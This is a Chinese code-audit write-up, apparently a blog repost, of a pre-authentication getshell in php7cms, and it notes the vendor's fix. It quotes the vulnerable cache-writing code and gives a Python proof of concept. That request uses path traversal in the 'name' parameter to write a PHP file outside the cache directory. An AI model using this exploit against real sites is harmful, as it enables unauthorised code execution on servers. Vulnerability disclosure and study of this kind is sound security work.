无框架的php cms审计,[代码审计]php7cms 无条件前台getshell | 码农网

Version:2018-1 0-09

//最新版中以修复此漏洞

这个漏洞很简单,如果作者在写代码的时候考虑到一点点安全方面,其实都可以避免的。

// php7cms/Core/Controllers/Api/Api.php

// 52~61 line

public function save_form_data() {

$rt = \Phpcmf\Service::L('cache')->init('file')->save(

\Phpcmf\Service::L('Input')->get('name'),

\Phpcmf\Service::L('Input')->post('data'),

7200

);

var_dump($rt);

exit;

}

调用了Cache类中 init 函数,参数分别为get(‘name’)和post(‘data’)。

// php7cms/Fcms/Library/Cache.php

// 112~121 line

public function init($handler = '', $prefix = 'site-'.SITE_ID.'-') {

$config = new \Config\Cache();

$config->handler = 'file';

$config->prefix = $prefix;

!$config->prefix && $config->prefix = 'site-'.SITE_ID.'-';

$config->path = WRITEPATH.'caching/';

$cache = \Config\Services::cache($config, 0);

return $cache;

}

初始化缓存类,为prefix参数拼接字符串后直接无任何过滤直接传入CI框架的缓存类中,中间框架的执行流程就不在文章里写了。

直接看最后一步

// php7cms/System/Cache/Handlers

// 107~125 line

public function save(string $key, $value, int $ttl = 60)

{

$key = $this->prefix . $key;

$contents = [

'time' => time(),

'ttl' => $ttl,

'data' => $value,

];

if ($this->writeFile($this->path . $key, serialize($contents)))

{

chmod($this->path . $key, 0640);

return true;

}

return false;

}

//324~345 line

protected function writeFile($path, $data, $mode = 'wb')

{

if (($fp = @fopen($path, $mode)) === false)

{

return false;

}

flock($fp, LOCK_EX);

for ($result = $written = 0, $length = strlen($data); $written < $length; $written += $result)

{

if (($result = fwrite($fp, substr($data, $written))) === false)

{

break;

}

}

flock($fp, LOCK_UN);

fclose($fp);

return is_int($result);

}

直接写入到缓存目录中,其中并没有过滤”.”和”/”,可以跨目录写入。所以不需要考虑路由问题。

POC:

from requests import post

postData = {

'data':'<?php phpinfo()?>'

}

postTest = post("http://localhost//index.php?s=api&c=api&m=save_form_data&name=/../../../adminss.php",data=postData)

2acef1f9615f0012b75cbc4025eefa02.png

新版修复:

3c44f6c405ea05ce07d9e68034876d45.png

首先给dr_safe_replace 参数增加了两个新的过滤条件 ” . “和 ” ‘ “,在原本漏洞出发点接收get值的时候用这个函数过滤。

28478df0de85af7df6f431864c3d695a.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值